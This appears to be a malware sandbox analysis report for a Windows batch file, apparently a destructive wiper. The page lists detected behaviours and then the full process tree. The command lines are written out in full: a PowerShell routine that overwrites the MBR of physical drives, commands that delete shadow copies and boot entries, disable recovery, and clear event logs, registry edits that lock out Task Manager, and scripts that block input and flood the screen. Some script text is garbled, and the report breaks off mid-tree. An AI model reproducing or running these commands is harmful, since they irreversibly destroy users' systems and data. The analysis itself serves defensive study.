c6605aea0cdd14e574665cc7bce4305c00d9e9a1280d4e8e1dd909f09e635b4a

Analysis

user interaction
yes
max time kernel
42s
max time network
44s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
30/04/2026, 19:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
deepseek_batch_20260430_f41b13 (3).bat
Size 41KB
Sample260430-xt2vzag13s
SHA256 c6605aea0cdd14e574665cc7bce4305c00d9e9a1280d4e8e1dd909f09e635b4a
MD5 e62eb06a21fda1985ef161099d45b04e
SHA1 eeca037044e25fcce81267efd43ad2653e629d96
SHA512 af67579b2855f5a24e3f29d615345c601f2e6b8662a07a64fdf0645103bd4b753c33331a90c46761a2e50ee75d28e1430e345b360994a09125df5c640c328f5f
SSDEEP 768:O8cfJibMMV38zFEwm18zUMlG98b7qYLR8xGPmqid4987vugkF8547E3rP3DMkRSx:BUFEwFUfomhGPm5vugke474Q
TLSH
T16413A662222ECD6EC1964857486FF1C69F2451AB7108FCC827DFD945EA1E359833E2EC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit impact persistence ransomware

Malware Config

Signatures

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
1948	wevtutil.exe
5500	wevtutil.exe
6060	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 7 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1728	bcdedit.exe
2628	bcdedit.exe
2964	bcdedit.exe
5456	bcdedit.exe
5528	bcdedit.exe
2756	bcdedit.exe
5604	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Windows\\System32\\notepad.exe"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2140	netsh.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
812	icacls.exe
4748	takeown.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
812	icacls.exe
4748	takeown.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 27 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5204	powershell.exe
4376	powershell.exe
1224	powershell.exe
2096	powershell.exe
5988	powershell.exe
2972	powershell.exe
2004	powershell.exe
224	powershell.exe
3768	powershell.exe
1664	powershell.exe
1852	powershell.exe
1684	powershell.exe
6404	powershell.exe
1400	powershell.exe
2468	powershell.exe
5764	powershell.exe
3148	powershell.exe
3376	powershell.exe
4844	powershell.exe
1700	powershell.exe
5440	powershell.exe
5980	powershell.exe
1596	powershell.exe
5796	powershell.exe
1656	powershell.exe
132	powershell.exe
5588	powershell.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1700	powershell.exe

Delays execution with timeout.exe 7 IoCs

defense_evasion

pid	Process
4516	timeout.exe
800	timeout.exe
4712	timeout.exe
2404	timeout.exe
4472	timeout.exe
6740	timeout.exe
620	timeout.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5216	ipconfig.exe
6752	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3848	vssadmin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2468	powershell.exe
2468	powershell.exe
2004	powershell.exe
2004	powershell.exe
5204	powershell.exe
5204	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeBackupPrivilege	1864	vssvc.exe
Token: SeRestorePrivilege	1864	vssvc.exe
Token: SeAuditPrivilege	1864	vssvc.exe
Token: SeSecurityPrivilege	1948	wevtutil.exe
Token: SeBackupPrivilege	1948	wevtutil.exe
Token: SeSecurityPrivilege	5500	wevtutil.exe
Token: SeBackupPrivilege	5500	wevtutil.exe
Token: SeSecurityPrivilege	6060	wevtutil.exe
Token: SeBackupPrivilege	6060	wevtutil.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	5204	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 1504	3340	cmd.exe	80
PID 3340 wrote to memory of 4852	3340	cmd.exe	81
PID 4852 wrote to memory of 2236	4852	net.exe	82
PID 3340 wrote to memory of 620	3340	cmd.exe	83
PID 3340 wrote to memory of 2468	3340	cmd.exe	84
PID 3340 wrote to memory of 4516	3340	cmd.exe	85
PID 3340 wrote to memory of 4148	3340	cmd.exe	86
PID 3340 wrote to memory of 6036	3340	cmd.exe	87
PID 3340 wrote to memory of 3368	3340	cmd.exe	88
PID 3340 wrote to memory of 3264	3340	cmd.exe	89
PID 3340 wrote to memory of 4588	3340	cmd.exe	90
PID 3340 wrote to memory of 5820	3340	cmd.exe	91
PID 3340 wrote to memory of 3964	3340	cmd.exe	92
PID 3340 wrote to memory of 1632	3340	cmd.exe	93
PID 3340 wrote to memory of 800	3340	cmd.exe	94
PID 3340 wrote to memory of 1728	3340	cmd.exe	95
PID 3340 wrote to memory of 2628	3340	cmd.exe	96
PID 3340 wrote to memory of 2964	3340	cmd.exe	97
PID 3340 wrote to memory of 5456	3340	cmd.exe	98
PID 3340 wrote to memory of 5528	3340	cmd.exe	99
PID 3340 wrote to memory of 1304	3340	cmd.exe	100
PID 3340 wrote to memory of 3848	3340	cmd.exe	101
PID 3340 wrote to memory of 3648	3340	cmd.exe	104
PID 3340 wrote to memory of 2756	3340	cmd.exe	105
PID 3340 wrote to memory of 5604	3340	cmd.exe	106
PID 3340 wrote to memory of 1948	3340	cmd.exe	107
PID 3340 wrote to memory of 5500	3340	cmd.exe	108
PID 3340 wrote to memory of 6060	3340	cmd.exe	109
PID 3340 wrote to memory of 4712	3340	cmd.exe	110
PID 3340 wrote to memory of 5204	3340	cmd.exe	111
PID 3340 wrote to memory of 5796	3340	cmd.exe	113
PID 3340 wrote to memory of 2004	3340	cmd.exe	115
PID 3340 wrote to memory of 4376	3340	cmd.exe	117
PID 3340 wrote to memory of 1224	3340	cmd.exe	118
PID 3340 wrote to memory of 132	3340	cmd.exe	119
PID 3340 wrote to memory of 1656	3340	cmd.exe	121
PID 3340 wrote to memory of 1700	3340	cmd.exe	123
PID 3340 wrote to memory of 5588	3340	cmd.exe	124
PID 3340 wrote to memory of 2096	3340	cmd.exe	125
PID 3340 wrote to memory of 1684	3340	cmd.exe	127
PID 3340 wrote to memory of 3148	3340	cmd.exe	128
PID 3340 wrote to memory of 1852	3340	cmd.exe	129
PID 3340 wrote to memory of 5764	3340	cmd.exe	130
PID 3340 wrote to memory of 1664	3340	cmd.exe	131
PID 3340 wrote to memory of 1596	3340	cmd.exe	132
PID 3340 wrote to memory of 3768	3340	cmd.exe	133
PID 3340 wrote to memory of 224	3340	cmd.exe	134
PID 3340 wrote to memory of 5980	3340	cmd.exe	135
PID 3340 wrote to memory of 5440	3340	cmd.exe	136
PID 3340 wrote to memory of 5196	3340	cmd.exe	137
PID 3340 wrote to memory of 3236	3340	cmd.exe	138
PID 3340 wrote to memory of 4200	3340	cmd.exe	139
PID 3340 wrote to memory of 4796	3340	cmd.exe	140
PID 3340 wrote to memory of 4176	3340	cmd.exe	141
PID 3340 wrote to memory of 4540	3340	cmd.exe	142
PID 3340 wrote to memory of 2360	3340	cmd.exe	143
PID 3340 wrote to memory of 3268	3340	cmd.exe	144
PID 3340 wrote to memory of 5884	3340	cmd.exe	145
PID 3340 wrote to memory of 2824	3340	cmd.exe	146
PID 3340 wrote to memory of 5484	3340	cmd.exe	147
PID 3340 wrote to memory of 5296	3340	cmd.exe	149
PID 3340 wrote to memory of 5576	3340	cmd.exe	150
PID 3340 wrote to memory of 6104	3340	cmd.exe	151
PID 3340 wrote to memory of 3676	3340	cmd.exe	152

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260430_f41b13 (3).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Windows\system32\mode.com
  mode con: cols=120 lines=40
  2⤵
  PID:1504
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2236
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$text = 'snowsday on top. https://youtube.com/@snowsday'; $textBytes = [System.Text.Encoding]::ASCII.GetBytes($text); for($disk=0;$disk -lt 10;$disk++){ try{ $path = '\\.\PhysicalDrive' + $disk; $d = [System.IO.File]::Open($path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite); $sector = New-Object byte[] 512; for($j=0;$j -lt 512;$j++){ $sector[$j] = 0xDE; } for($i=0;$i -lt $textBytes.Length -and $i -lt 256;$i++){ $sector[$i] = $textBytes[$i]; } $sector[510] = 0x55; $sector[511] = 0xAA; $d.Write($sector, 0, 512); for($sec=1;$sec -le 15;$sec++){ $corrupt = New-Object byte[] 512; for($j=0;$j -lt 512;$j++){ $corrupt[$j] = $textBytes[$j :Begin); $d.Write($corrupt, 0, 512); } $d.Close(); Write-Host '[MBR] Disk' $disk 'overwritten with snowsday payload'; [console]::beep(1000, 100); } catch { Write-Host '[MBR] Disk' $disk 'not accessible'; } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2468
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4516
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4148
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:6036
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:3368
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:3264
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogOff /t REG_DWORD /d 1 /f
  2⤵
  PID:4588
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
  2⤵
  PID:5820
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:3964
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:1632
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:800
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1728
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2628
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2964
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {current} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5456
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {default} /f
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5528
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in Windows directory
  PID:1304
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3848
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:3648
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2756
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} optionsedit false
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5604
- C:\Windows\system32\wevtutil.exe
  wevtutil cl System
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1948
- C:\Windows\system32\wevtutil.exe
  wevtutil cl Security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:5500
- C:\Windows\system32\wevtutil.exe
  wevtutil cl Application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:6060
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $txt=@('SNOWSDAY','snowsday on top','youtube.com/@snowsday','LUMINA','DEAD','KILLED','DESTROYED','WIPED','RIP','TOP','NO ESCAPE','FATAL','GONE','CORRUPTED','ANNIHILATED'); $fn=@('Consolas','Terminal','Courier New','Lucida Console','Arial Black'); $drops=@(1..($w/8) | ForEach-Object {$r.Next(-500,0)}); while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,15)); for($j=0;$j -lt 20;$j++){ $p1=New-Object System.Drawing.Point($r.Next($w),$r.Next($h)); $p2=New-Object System.Drawing.Point($r.Next($w),$r.Next($h)); $p3=New-Object System.Drawing.Point($r.Next($w),$r.Next($h)); $p4=New-Object System.Drawing.Point($r.Next($w),$r.Next($h)); $pen=New-Object System.Drawing.Pen([System.Drawing.Color]::FromArgb($r.Next(150,256),$r.Next(0,200),$r.Next(0,200)), $r.Next(1,10)); $g.DrawBezier($pen,$p1,$p2,$p3,$p4); $pen.Dispose(); } for($x=0;$x -lt $drops.Count;$x++){ $c=[System.Drawing.Color]::FromArgb($r.Next(200,256),$r.Next(0,100),$r.Next(0,100)); $brush=New-Object System.Drawing.SolidBrush($c); $font=New-Object System.Drawing.Font($fn[$r.Next($fn.Count)], $r.Next(8,18)); $g.DrawString([char]$r.Next(33,126), $font, $brush, $x*8, $drops[$x]); $brush.Dispose(); $font.Dispose(); $drops[$x]+=$r.Next(5,20); if($drops[$x] -gt $h + $r.Next(100,500)){ $drops[$x]=$r.Next(-500,0); } } $bigFont=New-Object System.Drawing.Font('Consolas', $r.Next(80,150), [System.Drawing.FontStyle]::Bold); $redBrush=New-Object System.Drawing.SolidBrush([System.Drawing.Color]::Red); $g.DrawString('SNOWSDAY', $bigFont, $redBrush, $r.Next($w-500), $r.Next($h-200)); $bigFont.Dispose(); $redBrush.Dispose(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 10; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $t=0; $particles=@(); for($i=0;$i -lt 200;$i++){ $particles+=@{x=$r.Next($w);y=$r.Next($h);vx=$r.NextDouble()*4-2;vy=$r.NextDouble()*4-2;life=$r.Next(100,300)} } while($true){ $g.Clear([System.Drawing.Color]::FromArgb(10,0,0,0)); for($i=0;$i -lt 30;$i++){ $offset=$i*20; $amp=40+$i*6; for($x=0;$x -lt $w;$x+=5){ $y1=$h/2 + [Math]::Sin(($x+$t+$offset)*0.02)*$amp; $y2=$h/2 + [Math]::Cos(($x+$t+$offset)*0.03)*$amp; $c=[System.Drawing.Color]::FromArgb($r.Next(150,256),$r.Next(0,150),$r.Next(0,150)); $pen=New-Object System.Drawing.Pen($c, 2); $g.DrawLine($pen,$x,$y1,$x+5,$y2); $pen.Dispose(); } } for($i=0;$i -lt $particles.Count;$i++){ $p=$particles[$i]; $p.x+=$p.vx; $p.y+=$p.vy; $p.life--; if($p.life -le 0){ $p.x=$r.Next($w); $p.y=$r.Next($h); $p.life=$r.Next(100,300); } $c=[System.Drawing.Color]::FromArgb($p.life,$r.Next(200,256),$r.Next(0,100),$r.Next(0,100)); $b=New-Object System.Drawing.SolidBrush($c); $g.FillEllipse($b,$p.x,$p.y,3,3); $b.Dispose(); } $t+=3; [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 15; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $angle=0; $txt=@('SNOWSDAY','DEAD','KILL','DIE','WIPE','CORRUPT'); while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,20)); $cx=$w/2; $cy=$h/2; for($i=0;$i -lt 400;$i++){ $radius=$i*1.8; $x=$cx + [Math]::Cos($angle + $i*0.08)*$radius; $y=$cy + [Math]::Sin($angle + $i*0.08)*$radius; $c=[System.Drawing.Color]::FromArgb($r.Next(180,256),$r.Next(0,200),$r.Next(0,200)); $pen=New-Object System.Drawing.Pen($c, 2); $g.DrawEllipse($pen,$x,$y,$r.Next(1,5),$r.Next(1,5)); $pen.Dispose(); } $font=New-Object System.Drawing.Font('Consolas', 16, [System.Drawing.FontStyle]::Bold); for($i=0;$i -lt 10;$i++){ $b=New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb($r.Next(200,256),$r.Next(0,100),$r.Next(0,100))); $g.DrawString($txt[$r.Next($txt.Count)], $font, $b, $r.Next($w), $r.Next($h)); $b.Dispose(); } $font.Dispose(); $angle+=0.12; [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 15; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $r=New-Object Random; $txts=@('SNOWSDAY ON TOP','youtube.com/@snowsday','LUMINA DESTROYED PC','MBR CORRUPTED','SYSTEM DESTROYED','PC DEAD','NO ESCAPE','FATAL ERROR','KERNEL PANIC','RECOVERY IMPOSSIBLE','DATA LOST','HAIL SNOWSDAY','TOP','ANNIHILATED','WIPED','GONE','TERMINATED','BSOD INCOMING','GOODBYE','YOU ARE DEAD','FOREVER GONE'); $titles=@('SNOWSDAY','LUMINA','FATAL ERROR','SYSTEM DESTROYED','PC DEAD','GOODBYE','YOU DIED','RIP','WIPED'); $icons=@('Error','Warning','Stop','Hand','Question'); while($true){ $t=$txts[$r.Next($txts.Count)]; $ti=$titles[$r.Next($titles.Count)]; $ic=$icons[$r.Next($icons.Count)]; Start-Job -ScriptBlock {param($x,$y,$z)[System.Windows.Forms.MessageBox]::Show($x,$y,'OK',$z)} -ArgumentList $t,$ti,$ic | Out-Null; Start-Sleep -Milliseconds 20; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "[console]::beep(37,1000); $r=New-Object Random; while($true){ for($i=0;$i -lt 32;$i++){ $freq=$r.Next(37,8000); $dur=$r.Next(10,200); try{[console]::beep($freq,$dur)}catch{} } for($i=0;$i -lt 16;$i++){ try{[console]::beep($r.Next(37,500),50); [console]::beep($r.Next(500,2000),30); [console]::beep($r.Next(2000,8000),15); [console]::beep($r.Next(37,8000),80)}catch{} } for($i=0;$i -lt 8;$i++){ try{[console]::beep($r.Next(37,8000),$r.Next(5,50))}catch{} } Start-Sleep -Milliseconds ($r.Next(0,20)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type '[DllImport(\"user32.dll\")]public static extern bool SetCursorPos(int x,int y);[DllImport(\"user32.dll\")]public static extern void mouse_event(uint f,int x,int y,uint d,int e);[DllImport(\"user32.dll\")]public static extern bool BlockInput(bool f);[DllImport(\"user32.dll\")]public static extern void keybd_event(byte b,byte s,uint f,uint e);[DllImport(\"user32.dll\")]public static extern bool GetCursorPos(out System.Drawing.Point p);' -Name W; [W]::BlockInput($true); $r=New-Object Random; $wsh=New-Object -ComObject WScript.Shell; $keys=@('{ENTER}','{TAB}','{BACKSPACE}','{DELETE}','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{CAPSLOCK}','{NUMLOCK}','{SCROLLLOCK}','{F4}','{F5}','{F6}','{F7}','{F8}','{F9}','{F10}','{F11}','{F12}','^a','^c','^v','^x','^z',':SetCursorPos($r.Next(-500,3000), $r.Next(-500,2000)); } [W]::mouse_event(2,0,0,0,0); [W]::mouse_event(4,0,0,0,0); [W]::mouse_event(32768,0,0,0,0); [W]::mouse_event(65536,0,0,0,0); [W]::mouse_event(2048,0,0,0,0); [W]::mouse_event(4096,0,0,0,0); for($i=0;$i -lt $r.Next(8,30);$i++){ $wsh.SendKeys($keys[$r.Next($keys.Count)]); } Start-Sleep -Milliseconds 1; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); for($y=0;$y -lt $bmp.Height;$y+=1){ $shift=$r.Next(-150,150); for($x=0;$x -lt $bmp.Width;$x+=1){ $sx=$x+$shift; if($y :Max(0,[Math]::Min($bmp.Width-1, $sx)); try{ $px=$bmp.GetPixel($sx, $y); $rVal=($px.R + $r.Next(-150,150)) -band 255; $gVal=($px.G + $r.Next(-150,150)) -band 255; $bVal=($px.B + $r.Next(-150,150)) -band 255; $nc=[System.Drawing.Color]::FromArgb($rVal, $gVal, $bVal); $bmp.SetPixel($x, $y, $nc); } catch {} } } $form.Location=New-Object System.Drawing.Point($r.Next(-50,50),$r.Next(-50,50)); $form.Size=New-Object System.Drawing.Size($sc.Bounds.Width+$r.Next(-100,100),$sc.Bounds.Height+$r.Next(-100,100)); $pic.Image = $bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 1; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$r=New-Object Random; $apps=@('calc','notepad','mspaint','cmd','control','write','charmap','winver','resmon','diskmgmt.msc','devmgmt.msc','eventvwr','services.msc','perfmon','msinfo32','dxdiag','cleanmgr','magnify','osk','snippingtool','taskmgr','explorer'); $txts=@('SNOWSDAY ON TOP','DEAD','KILLED','DESTROYED','WIPED','RIP','GONE','ERROR','HAIL SNOWSDAY','TOP','PC DEAD','ANNIHILATED','CORRUPTED','youtube.com/@snowsday','SNOWSDAY','LUMINA','BSOD','CRASH','SYSTEM FAILURE'); while($true){ for($i=0;$i -lt 8;$i++){ Start-Process $apps[$r.Next($apps.Count)] -ErrorAction SilentlyContinue; } $wsh=New-Object -ComObject WScript.Shell; for($i=0;$i -lt 20;$i++){ $wsh.SendKeys($txts[$r.Next($txts.Count)] + '{ENTER}'); } if($r.Next(3) -eq 0){ Start-Process 'https://youtube.com/@snowsday' -ErrorAction SilentlyContinue; } taskkill /f /im cmd.exe >nul 2>&1; taskkill /f /im notepad.exe >nul 2>&1; taskkill /f /im calc.exe >nul 2>&1; Start-Sleep -Milliseconds ($r.Next(20,100)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); for($y=0;$y -lt $bmp.Height;$y+=1){ for($x=0;$x -lt $bmp.Width;$x+=1){ try{ $px=$bmp.GetPixel($x,$y); $rVal=255-$px.R; $gVal=255-$px.G; $bVal=255-$px.B; if($r.Next(3) -eq 0){ $rVal=$px.R; $gVal=255-$px.G; $bVal=$px.B } if($r.Next(5) -eq 0){ $rVal=255-$px.R; $gVal=$px.G; $bVal=255-$px.B } $bmp.SetPixel($x,$y,[System.Drawing.Color]::FromArgb($rVal,$gVal,$bVal)); } catch {} } } $pic.Image = $bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); $form.BackColor=[System.Drawing.Color]::FromArgb($r.Next(256),$r.Next(256),$r.Next(256)); Start-Sleep -Milliseconds ($r.Next(5,50)); $form.BackColor='Black'; Start-Sleep -Milliseconds ($r.Next(5,50)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
